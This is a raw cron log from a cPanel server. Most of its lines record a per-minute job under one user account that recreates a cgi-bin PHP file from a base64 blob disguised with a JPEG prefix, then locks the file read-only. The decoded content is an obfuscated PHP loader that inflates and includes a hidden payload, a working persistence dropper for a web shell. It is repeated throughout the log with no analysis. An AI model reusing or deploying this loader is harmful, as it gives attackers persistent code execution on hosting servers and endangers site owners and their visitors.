Nov 10 22:10:01 server CROND[30258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:10:01 server CROND[30259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:11:01 server CROND[31138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:12:01 server CROND[32239]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:12:01 server CROND[32240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:13:01 server CROND[596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:14:01 server CROND[1401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:15:01 server CROND[2218]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:15:01 server CROND[2219]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:15:01 server CROND[2220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:15:01 server CROND[2221]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:16:01 server CROND[3094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:17:01 server CROND[3896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:18:01 server CROND[4424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:19:01 server CROND[5193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:20:01 server CROND[6010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 22:20:01 server CROND[6012]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:20:01 server CROND[6014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:20:01 server CROND[6013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:20:01 server CROND[6015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:21:01 server CROND[6875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:22:01 server CROND[7672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
